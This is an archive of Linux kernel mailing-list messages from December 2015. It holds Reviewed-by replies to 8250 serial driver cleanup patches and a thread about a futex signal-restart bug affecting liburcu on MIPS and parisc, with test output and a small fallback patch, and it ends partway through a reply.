Lines: 14
Approved: news@gmane.org
Message-ID: <567429FF.9050908@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-10-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453519 4883 80.91.229.3 (18 Dec 2015 15:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:45:19 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:45:10 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9xDR-0005MX-OF
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:45:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753966AbbLRPpJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:45:09 -0500
Original-Received: from mail-pf0-f182.google.com ([209.85.192.182]:32817 "EHLO
	mail-pf0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753755AbbLRPpH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:45:07 -0500
Original-Received: by mail-pf0-f182.google.com with SMTP id n128so33089835pfn.0
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:45:06 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=sR1UzziyHjK91wqxDY3bQt0vlBMU5cwlLy2i0sjtWMs=;
        b=Sg0OGM5ALW+Dk+72x5wZQlsmvJaUPqmVTe4f3eiOze5UqC5qny+XMBwU/Z/1qQ4Sde
         uyXqXvPaDoP0NGX/rwopTk/kpj901b1p5yXqaQ398+wBaP/2eMvBlgnMw3FkpkqvTklL
         a5IDCuqM/z0UwCnPOqrbtoJ4+IwjdL4RVCCgQM4mW0GsdI7nZMule/63yUrAGUNizQyy
         gq1p7nuYAtK95Fz8xC4zjoPV7+akFcQDgB+It++R5wTwlVS98p4n4jlq1W1MTf3Qw+YP
         O9CS9YFZb8Qz0R09LbXWYsbNmA6L82vdm7x3yLvRYGFhveSxGTVBFydfZNZ4u5uZ3k/A
         4Ppw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=sR1UzziyHjK91wqxDY3bQt0vlBMU5cwlLy2i0sjtWMs=;
        b=ggq5TQPLXasNPgvbvmyMDb+Wam5uTdLOdtGGtOFafXjhosBTiC31kjgr2AHNBbRgXA
         mIyMjKprHXp7jRB4t1nCTTpegY3LOnqCOxzrvo9R9P8ffr7KM6vIEmbSoEHplPjuXEQ3
         LgEHQkWE8q1pRWpuNDsopJgPcrOWKtAVkMeJ5U+OzlrMJhvqWlWZDuvOj07sAXiVX897
         ZkdmUZ7epNXlxIfqCJXFOJ+V83LKRqR/4swdATLVo8gWULfj8vmLVrB8uv2CezLRw5gK
         HhbQFVlCfRQRpeQ0IlGpy7mR1Bkj12NV7T/4Py3uNU1Qk5myLTEzZIE6nvKz6zr7DucP
         aBUg==
X-Gm-Message-State: ALoCoQlpzxLQ53agf8GLSu4VXhYpjDFHUWEsOWLRBH4VhSD17ixHCldwK47K67ptXVjrm/qL14cAuGxc609HqgVCT5ncO8KFpQ==
X-Received: by 10.98.8.89 with SMTP id c86mr6223450pfd.122.1450453506766;
        Fri, 18 Dec 2015 07:45:06 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id ga13sm23100527pac.47.2015.12.18.07.45.05
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:45:06 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-10-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26238 gmane.linux.serial:21182 gmane.linux.kernel:2111868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26238>

On 12/18/2015 03:22 AM, Anton Wuerfel wrote:
> Merged user-visible multi-line strings into a single line according to the
> Linux Kernel Coding Style, which allows user-visible strings to exceed the
> maximum line length of 80 characters. The main reason for this is to
> facilitate grepping for these strings.
> However, some strings were ignored in this patch, because the use of
> format specifiers breaks the ability to grep anyway.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Hurley <peter@hurleysoftware.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: Re: [PATCH v2 11/11] tty: serial: 8250: Fix indentation warnings
Date: Fri, 18 Dec 2015 07:46:20 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <56742A4C.8090502@hurleysoftware.com>
References: <1450437723-2978-1-git-send-email-anton.wuerfel@fau.de>
 <1450437723-2978-12-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450453604 6172 80.91.229.3 (18 Dec 2015 15:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 15:46:44 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffe
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 16:46:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9xEh-0005nR-0K
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 16:46:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753976AbbLRPq0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 10:46:26 -0500
Original-Received: from mail-pf0-f180.google.com ([209.85.192.180]:33416 "EHLO
	mail-pf0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752087AbbLRPqY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 10:46:24 -0500
Original-Received: by mail-pf0-f180.google.com with SMTP id n128so33105777pfn.0
        for <linux-parisc@vger.kernel.org>; Fri, 18 Dec 2015 07:46:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=hurleysoftware-com.20150623.gappssmtp.com; s=20150623;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=HosE4T5CvXHVZXg5AlID5m1TzeVjH4t7XQomnC0ZwLM=;
        b=NDl5pKz6nN+zwoiR+G9C0HKWyDemfqUf/5EI+xgOsKwIMUBxft6wv+RUPuNnQ0gFkv
         Ay/TR//nC4DWbcp5g63SUS3i5MiXBwIHkvcw9hkov6xiV37FycM+4cVoZDkXTzpLsb6/
         6dzxL6jYG0LEq0GIkpgHUeEWnKm1H/ivFLD3HDxuEMBtuM6igoqlJBhIAhIEz2ATWf5O
         QUkePif7fbWiyJ0AkKU4L4arX/ERucoDx8vwGxyTAykh5cKxx+iYB59ByYYYI4eH0RX4
         HgbuVe+ulTgP1pVH9rEjVHrMhUF9nnfd/23lTrm993GmcuNgwWeFY6pOkr3P41HOEiAP
         69KA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:to:references:cc:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-type
         :content-transfer-encoding;
        bh=HosE4T5CvXHVZXg5AlID5m1TzeVjH4t7XQomnC0ZwLM=;
        b=ZQmThEDwmddj1bYyTegFcM/xakJXyO6mthrSO9BISFOEA5RlAotpJguykSc8ZwnqpU
         Gk7nnjvjbHoQkJ/N/MEI92KLlcHiDZs5m6pI/vVuRKlnDKOzuYDnQJFo3Oz4iRPjbEER
         tCyTuDdkNnOw76txgJrvOMy0KzVLLEdbJgl2HXnVuo8esYFfXNXF5/E2USJ8lTn05syX
         DwHePY2kYN84Cigu9u+9bTRC1p5wm4OzTyXSsWnfELiguVDdO5s5hw2kjaXSI3Ku9TzO
         vnvyBDZsBHL0myrSyyayzl+HG3cSdwxOiuA+Ab8ggQp4wS+yXnrHZhNMyiPoXscczNKK
         U9Ug==
X-Gm-Message-State: ALoCoQmjj9hu1hST5s6shqu6xwMiZ76knNe0hkgz7fNpgT2eIwAUvMKxrqe8V7/R6rEj4O5xxbFPm2iYbIb9F5akZVf95353vg==
X-Received: by 10.98.16.204 with SMTP id 73mr6347913pfq.136.1450453584543;
        Fri, 18 Dec 2015 07:46:24 -0800 (PST)
Original-Received: from [192.168.1.4] (50-1-116-74.dsl.dynamic.fusionbroadband.com. [50.1.116.74])
        by smtp.gmail.com with ESMTPSA id m1sm18732647pfi.27.2015.12.18.07.46.23
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Dec 2015 07:46:23 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1450437723-2978-12-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26239 gmane.linux.serial:21183 gmane.linux.kernel:2111869
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26239>

On 12/18/2015 03:22 AM, Anton Wuerfel wrote:
> Checkpatch complains about incorrect indentation of switch/case statements.
> This patch fixes the corresponding warnings. Additionally some indentation
> is changed to match the correct format specified in the Linux Kernel
> Coding Style.

Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: Aw: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex
 should work-around futex signal-restart kernel bug
Date: Fri, 18 Dec 2015 19:58:16 +0000 (UTC)
Lines: 145
Approved: news@gmane.org
Message-ID: <1817225945.264082.1450468696180.JavaMail.zimbra@efficios.com>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com> <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com> <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450468719 30488 80.91.229.3 (18 Dec 2015 19:58:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 19:58:39 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Jon Bernard <jbernard@debian.org>,
	Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Ed Swierk <eswierk@skyportsystems.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 20:58:23 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aA1AU-00066v-9r
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 20:58:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964847AbbLRT6V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 14:58:21 -0500
Original-Received: from mail.efficios.com ([78.47.125.74]:49507 "EHLO mail.efficios.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964776AbbLRT6U (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 14:58:20 -0500
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 97053340501;
	Fri, 18 Dec 2015 19:58:20 +0000 (UTC)
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id 1FLlCqIJzbis; Fri, 18 Dec 2015 19:58:16 +0000 (UTC)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.efficios.com (Postfix) with ESMTP id 924E23403A9;
	Fri, 18 Dec 2015 19:58:16 +0000 (UTC)
X-Virus-Scanned: amavisd-new at efficios.com
Original-Received: from mail.efficios.com ([127.0.0.1])
	by localhost (evm-mail-1.efficios.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id lRC4yLtqywQ1; Fri, 18 Dec 2015 19:58:16 +0000 (UTC)
Original-Received: from evm-mail-1.efficios.com (evm-mail-1.efficios.com [78.47.125.74])
	by mail.efficios.com (Postfix) with ESMTP id 6AD4E3401F1;
	Fri, 18 Dec 2015 19:58:16 +0000 (UTC)
In-Reply-To: <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60>
X-Originating-IP: [78.47.125.74]
X-Mailer: Zimbra 8.6.0_GA_1178 (ZimbraWebClient - FF42 (Linux)/8.6.0_GA_1178)
Thread-Topic: compat_futex should work-around futex signal-restart kernel bug
Thread-Index: XNmi9l7qbwIrR2lOqnrjiL9fDDZpLA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26240 gmane.linux.ports.mips.general:51847 gmane.linux.kernel:2111999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26240>

----- On Dec 17, 2015, at 11:22 AM, Helge Deller deller@gmx.de wrote:

> Hello Mathieu,
> 
>> > When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
>> > Ingenic JZRISC V4.15  FPU V0.0), we notice that a blocked sys_futex
>> > FUTEX_WAIT returns -1, errno=ENOSYS when interrupted by a SA_RESTART
>> > signal handler. This spurious ENOSYS behavior causes hangs in liburcu
>> > 0.9.x. Running a MIPS 3.18 kernel under a QEMU emulator exhibits the
>> > same behavior. This might affect earlier kernels.
>> > 
>> > This issue appears to be fixed in 3.18.y stable kernels and 3.19, but
>> > nevertheless, we should try to handle this kernel bug more gracefully
>> > than a user-space hang due to unexpected spurious ENOSYS return value.
>> 
>> It's actually fixed in 3.19, but not in 3.18.y stable kernels. The
>> Linux kernel upstream fix commit is:
>> e967ef02 "MIPS: Fix restart of indirect syscalls"
> 
> But that patch fixes mips only.

Indeed, I do not expect this commit to have any effect on parisc.

> 
>> I've created a small test program that could also be used on parisc
>> to check if it suffers from the same issue (see attached).
>> 
>> On bogus mips kernels, we see the following output:
>> [OK] Test program with pid: 5748 SIGUSR1 handler
>> [FAIL] futex returns -1, Function not implemented
> 
> I tested it on a recent 4.2 kernel on parisc.
> It fails as you describe:
> 
> Testing futex sigrestart. Stop with CTRL-c.
> [OK] Test program with pid: 1361 SIGUSR1 handler
> [OK] Test program with pid: 1361 SIGUSR1 handler
> [FAIL] futex returns -1, Function not implemented
> [OK] Test program with pid: 1361 SIGUSR1 handler
> [FAIL] futex returns -1, Function not implemented
> 
> strace gives:
> [pid  1329] futex(0x1210c, FUTEX_WAIT, -1, NULL <unfinished ...>
> [pid  1328] nanosleep({1, 0},  <unfinished ...>
> [pid  1329] <... futex resumed> )       = ? ERESTARTSYS (To be restarted if
> SA_RESTART is set)
> [pid  1329] write(2, "[FAIL] futex returns -1, Functio"..., 50[FAIL] futex
> returns -1, Function not implemented)

Looks like parisc has an issue very similar to the one that
has been fixed on MIPS by e967ef02 "MIPS: Fix restart of indirect syscalls".

> 
> 
>> > Therefore, fallback on the "async-safe" version of compat_futex in those
>> > situations where FUTEX_WAIT returns ENOSYS. This async-safe fallback has
>> > the nice property of being OK to use concurrently with other FUTEX_WAKE
>> > and FUTEX_WAIT futex() calls, because it's simply a busy-wait scheme.
>> > 
>> > We suspect that parisc might be affected by a similar issue (Debian
>> > build bots reported a similar hang on both mips and parisc), but we do
>> > not have access to the hardware required to test this hypothesis.
> 
> If you want access to a machine, let me know.
> I'll try the patch below as well..

This would be very useful indeed, just to make sure our approach to
futex fallback in liburcu works fine on parisc.

I'm no parisc assembly expert though, but I suspect the issue
would be quite similar to the one already fixed on MIPS. The
existing fix for MIPS would be a good starting point to see if
something similar is missing on parisc.

When time allows, we should consider cleaning up my test case for
restart of indirect system calls and add it to kselftest. It's
the second architecture that has the same defect, which means this
behavior is seldom tested.

Thanks,

Mathieu

> 
>> > Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
>> > CC: Michael Jeanson <mjeanson@efficios.com>
>> > CC: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
>> > CC: Ralf Baechle <ralf@linux-mips.org>
>> > CC: linux-mips@linux-mips.org
>> > CC: linux-kernel@vger.kernel.org
>> > CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
>> > CC: Helge Deller <deller@gmx.de>
>> > CC: linux-parisc@vger.kernel.org
>> > ---
>> > compat_futex.c |  2 ++
>> > urcu/futex.h   | 12 +++++++++++-
>> > 2 files changed, 13 insertions(+), 1 deletion(-)
>> > 
>> > diff --git a/compat_futex.c b/compat_futex.c
>> > index b7f78f0..9e918fe 100644
>> > --- a/compat_futex.c
>> > +++ b/compat_futex.c
>> > @@ -111,6 +111,8 @@ end:
>> >  * _ASYNC SIGNAL-SAFE_.
>> >  * For now, timeout, uaddr2 and val3 are unused.
>> >  * Waiter will busy-loop trying to read the condition.
>> > + * It is OK to use compat_futex_async() on a futex address on which
>> > + * futex() WAKE operations are also performed.
>> >  */
>> > 
>> > int compat_futex_async(int32_t *uaddr, int op, int32_t val,
>> > diff --git a/urcu/futex.h b/urcu/futex.h
>> > index 4d16cfa..a17eda8 100644
>> > --- a/urcu/futex.h
>> > +++ b/urcu/futex.h
>> > @@ -73,7 +73,17 @@ static inline int futex_noasync(int32_t *uaddr, int op,
>> > int32_t val,
>> > 
>> > 	ret = futex(uaddr, op, val, timeout, uaddr2, val3);
>> > 	if (caa_unlikely(ret < 0 && errno == ENOSYS)) {
>> > -		return compat_futex_noasync(uaddr, op, val, timeout,
>> > +		/*
>> > +		 * The fallback on ENOSYS is the async-safe version of
>> > +		 * the compat futex implementation, because the
>> > +		 * async-safe compat implementation allows being used
>> > +		 * concurrently with calls to futex(). Indeed, sys_futex
>> > +		 * FUTEX_WAIT, on some architectures (e.g. mips), within
>> > +		 * a given process, spuriously return ENOSYS due to
>> > +		 * signal restart bugs on some kernel versions (e.g.
>> > +		 * Linux kernel 3.18 and possibly earlier).
>> > +		 */
>> > +		return compat_futex_async(uaddr, op, val, timeout,
>> > 				uaddr2, val3);
>> > 	}
> > > 	return ret;

-- 
Mathieu Desnoyers
EfficiOS Inc.
http://www.efficios.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: Re: Aw: Re: [RFC PATCH urcu on mips, parisc] Fix: compat_futex should
 work-around futex signal-restart kernel bug
Date: Fri, 18 Dec 2015 21:42:46 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <56746FC6.10904@gmx.de>
References: <1450303792-27470-1-git-send-email-mathieu.desnoyers@efficios.com>
 <663068619.259007.1450356852694.JavaMail.zimbra@efficios.com>
 <trinity-0a355ae2-e5eb-40e5-8561-41a2e8e251e2-1450369370294@3capp-gmx-bs60>
 <1817225945.264082.1450468696180.JavaMail.zimbra@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450471396 8164 80.91.229.3 (18 Dec 2015 20:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2015 20:43:16 +0000 (UTC)
Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>,
	Jon Bernard <jbernard@debian.org>,
	Michael Jeanson <mjeanson@efficios.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-mips <linux-mips@linux-mips.org>,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Ed Swierk <eswierk@skyportsystems.com>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 21:43:11 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aA1ro-0001HP-Ir
	for glpp-linux-parisc@plane.gmane.org; Fri, 18 Dec 2015 21:43:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965006AbbLRUnB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Dec 2015 15:43:01 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:64001 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964960AbbLRUnA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Dec 2015 15:43:00 -0500
Original-Received: from [192.168.20.60] ([92.203.16.219]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LnxxQ-1ahAkz3D20-00g06M; Fri, 18 Dec 2015 21:42:50
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1817225945.264082.1450468696180.JavaMail.zimbra@efficios.com>
X-Provags-ID: V03:K0:KyzwvvCdhhXvBKWDfcgtgAWtbTwMasGE2VZjBRCo9muAQj1o4xv
 4Lul3FNBCd9XSZciQmCc11k+6eBtPA2U593Y0mMKZRqA5/0bRmOoCr5DynzoBiAH/w3AzZJ
 htk8pv8znB5ND/flJ18tBbRajMjCG7cYKTx/+62wFNWeSmcR78x25LedjmUceND8Aul3g+W
 oNtEG2qhZxEOYlZQpV+uw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:lIUbwxA+wPQ=:ehwSbRT6uEqqmX98sfvPw6
 q5fKIUFNLy0IqAXyt73nU9Wte1vVYRG4FkYF8n80wiLkdJiSCEEYv9y6aLaeHv1pegM8haek0
 p0YJstz1r/47C8j8B3MSTpS4IHFYlmbYWLbksO1b5bbRx9CDskTtIQ//vo/0u0zhX0bHu0S5V
 hfhhXRlK4YRQItrTu5o2akF1Qj5DNvaRitV3yShZTNPX9T5mjCmECMjbGONKB7gUE6au0jYsG
 Mu8OWi+CAj+0+FWjZmVKVggaWuCDphucYxffnu3Z9lZe2BmlAO+2414hkVqvZaGOd7bpzi3mG
 XK53aSOIKimwS3kev1XZZ9Vo0AUwBeCd22xlvXv7U71KBN5IGUaCzr6vtV5NnFzlk+2atzp3t
 zdaOTPsU8ca0bM7bch3rSwsVmIBZYkfVT7wAmf4MEgADiftBwUFTCJX5ej5zyduNxw/3RYQCJ
 Zrdv/efIReycfKOX9HUnmFlYXsz+GHRoVpUNXrSvN0coDUEMOmFukGB86nzOcoAbNczt5CBIc
 iMfKqW7VSLwZhPpgYF3HDbN5LAuRjs8CW6znwHGlsLxR9rtWecnj2/aHlae7gQiO12sdTLULJ
 GejL5cgzttF8p34iaCHFOl7cUFBU4nc3xvLXyYKk2o3c8fIy/wJliScBI8wdovJvmZecHmbAi
 vjIh9viImGV+3xjeB3aRMHHc980OennuyWLRb0+r1TZcKI8A5npCVEj8KWGEe0VUnpvDpnw2D
 by/4Y7gde2+k/RHodGoDrFwykWz2zZompMI+y47qOQfGc0AQgnZPnmoVioF9gx4Qk9jqLBEo 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26241 gmane.linux.ports.mips.general:51848 gmane.linux.kernel:2112019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26241>

Hi Mathieu,

On 18.12.2015 20:58, Mathieu Desnoyers wrote:
> ----- On Dec 17, 2015, at 11:22 AM, Helge Deller deller@gmx.de wrote:
> 
>> Hello Mathieu,
>>
>>>> When testing liburcu on a 3.18 Linux kernel, 2-core MIPS (cpu model :
